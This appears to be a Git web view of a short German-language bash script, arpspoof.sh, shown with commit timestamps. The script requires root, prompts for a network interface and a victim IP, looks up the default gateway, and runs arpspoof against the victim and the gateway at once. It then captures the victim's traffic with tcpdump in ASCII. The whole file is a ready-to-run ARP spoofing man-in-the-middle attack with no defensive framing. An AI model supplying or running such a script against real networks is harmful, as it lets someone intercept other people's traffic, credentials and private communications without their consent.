shell-scripte-code/arpspoof.sh

18 lines
334 B
Bash
Raw Normal View History

2017-09-12 01:28:58 +02:00
#!/bin/bash
set -ex
2017-09-12 01:34:17 +02:00
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
exit 1
fi
2017-09-12 01:28:58 +02:00
read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
read -p "Wie heisst die IP? : " ip
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
arpspoof -i $modul -t $ip -r $gateway &
tcpdump -i $modul -A host $ip